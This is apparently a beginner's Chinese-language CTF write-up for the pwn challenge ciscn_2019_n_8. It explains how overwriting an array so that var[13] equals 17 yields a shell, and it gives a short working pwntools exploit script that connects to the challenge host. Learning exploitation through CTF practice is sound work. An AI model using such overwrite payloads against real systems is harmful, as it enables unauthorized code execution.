小白垃圾做题笔记而已，不建议阅读观看。

 

看到保护后我………………傻眼了。这保护全看根本无从下手嘛。

 

看到源程序后我依然有点迷茫。

我是小白，直到看到了大佬的wp，我才有有点头绪。

 

 这里，var[13]里的不能为0

并且里边存储的还得是17

这可如何是好，数组题做的比较少。

看了题解问了chat才勉强可以写exp

因为我并没有看到数组的定义，所以不知道存储类型。但是根据信息

 

推断是整型数据，那么就是四个字节，我们可以覆盖到 var[13]将他设置成17

数组是从下标0开始的所以覆盖到·var[12]是b'a'*13

然后再写覆盖的数据

我是可以打通的，大佬说需要弄成p64啥的，或者p32(17)+p32(0)

我都试了下，可以打通。

感觉好像不用考虑那么多。

from pwn import *
#io=process('./ciscn_2019_n_8')
#pause()
io=remote('node.buuoj.cn',27070)
#payload=b'aaaa'*13+p64(17)

#payload=b'aaaa'*13+p32(17)+p32(0)
payload=b'aaaa'*13+p32(17)
io.sendline(payload)
io.interactive()